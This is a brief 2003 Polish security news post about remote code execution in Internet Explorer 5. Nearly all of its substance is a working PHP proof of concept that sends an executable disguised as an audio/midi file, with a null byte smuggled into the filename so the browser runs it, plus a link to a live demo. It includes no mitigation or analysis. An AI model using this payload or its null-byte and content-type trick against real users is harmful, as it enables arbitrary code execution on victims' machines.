Zdalne wykonanie kodu w IE

Zabezpieczenia | Pt, 24 Paź 2003 09:55:05 +0200 | Autor: Redakcja | Czytań: 2490

Poniższy kod może umożliwić zdalne wykonanie dowolnego polecenia poprzez przeglądarkę IE.

<?php
// for IE 5, tested on default Windows 98SE installation
Header("Content-type: audio/midi");
Header("Content-Disposition: inline; filename=readme.txt%00code.exe");
readfile("code.exe");
?>


Here you have a demo: http://r3b00t.tx.pl/iexec5.php

Can we expect more surprises like this one?



W tej chwili nie ma jeszcze komentarzy. Możesz jednak dodać swój własny.

Aby dodawać komentarze musisz się zalogować.

W dziale wiadomośći, każda zarejestrowana osoba ma możliwość dodawania swoich wiadomości. Pojawią się one w serwisie po akceptacji jednego z moderatorów. Aby zachęcić was do aktywnego udziału w rozwoju serwisu, przygotowaliśmy konkurs z nagrodami.

Top 20 news
Najaktywniejsi
1 Rellik 9630 pkt.
2 grzemach 870 pkt.
3 betaKondor 470 pkt.
4 Koras 350 pkt.
5 Localghost 140 pkt.
6 kris2005a 140 pkt.
7 elmocamp 100 pkt.
8 Tommy 100 pkt.
9 Scoti 80 pkt.
10 sevar 60 pkt.
Zobacz pełną listę